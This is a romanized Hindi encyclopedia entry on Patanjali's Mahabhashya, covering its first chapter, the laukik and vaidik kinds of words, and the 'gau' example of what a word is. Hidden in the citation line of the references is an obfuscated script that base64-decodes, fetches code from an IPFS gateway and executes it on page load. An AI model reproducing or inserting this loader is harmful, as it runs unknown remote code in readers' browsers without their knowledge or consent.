महाभाष्य
mahabhashy maharshi patanjali dvara rachit hai. patanjati ne panini ke 'ashtadhyayi' ke kuchh chune hue sootroan par bhashy likha tha, jise 'vyakaran mahabhashy' ka nam diya gaya. 'mahabhashy' vaise to vyakaran ka granth mana jata hai, kintu isamean kahian-kahian rajaoan-maharajaoan evan janatantroan ke ghatanachakr ka vivaran bhi milata haian.
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adhyay
maharshi patanjali dvara krit 'mahabhashy' 84 adhyayoan mean vibhakt vyakaran mahabhashy hai. isaka pratham adhyay "paspasha" ke nam se jana jata hai, jisamean shabd svaroop ka niroopan kiya gaya hai. 'ath shabdanushasanam' se shastr ka praranbh karate hue patanjali muni ne shabdoan ke do prakar batae haian-
- laukik
- vaidik
- laukik shabd - in shabdoan mean gau, ashv, purush, shakuni arthath pashu, pakshi evan manushy adi ko liya gaya hai.
- vaidik shabd - is prakar ke shabdoan mean 'agnimile purohitamh' adi vaidik mantroan ko liya gaya hai.
udaharan
'gau' shabd ka varnan karate hue bhashyakar kahate haian ki jab 'gau' bola jata hai to vastav mean usamean shabd kya hota hai? spashtikaran mean ve kahate haian ki 'gau' ke sharirik avayav khur, siang ko shabd nahian kaha jata, ise dravy kahate haian. isaki sharirik kriyaoan ko bhi shabd nahian kahate, ise kriya kahate haian. isake rang (shukl, nil) ko shabd nahian kahate, yah to gun hai. yadi darshanik drishtikon se yah kaha jay ki jo bhinn-bhinn padarthoan mean ekaroop hai aur jo usake nasht hone par bhi nasht nahian hota, sab mean sadharan aur anugat hai, vah shabd hai to aisa nahian hai, ise jati kahate haian.[1]
vastavik roop mean jo uchcharit dhvaniyoan se abhivyakt hokar khur, siang vale gau ka bodh karata hai, vah shabd hai. arthath lok-vyavahar mean jis dhvani se arth ka bodh hota hai, vah 'shabd' kahalata hai. sarthak dhvani shabd hai. isi shabdarth bodhan ko bhartrihari ne 'sphot' kaha hai. shabd vah hai, jo uchcharit dhvaniyoan se abhivyakt hota hai aur abhivyakt hone par us arth ka bodh karata hai.
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tika tippani aur sandarbh
- ↑ mahabhashy (hindi). . abhigaman tithi: 3 march, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
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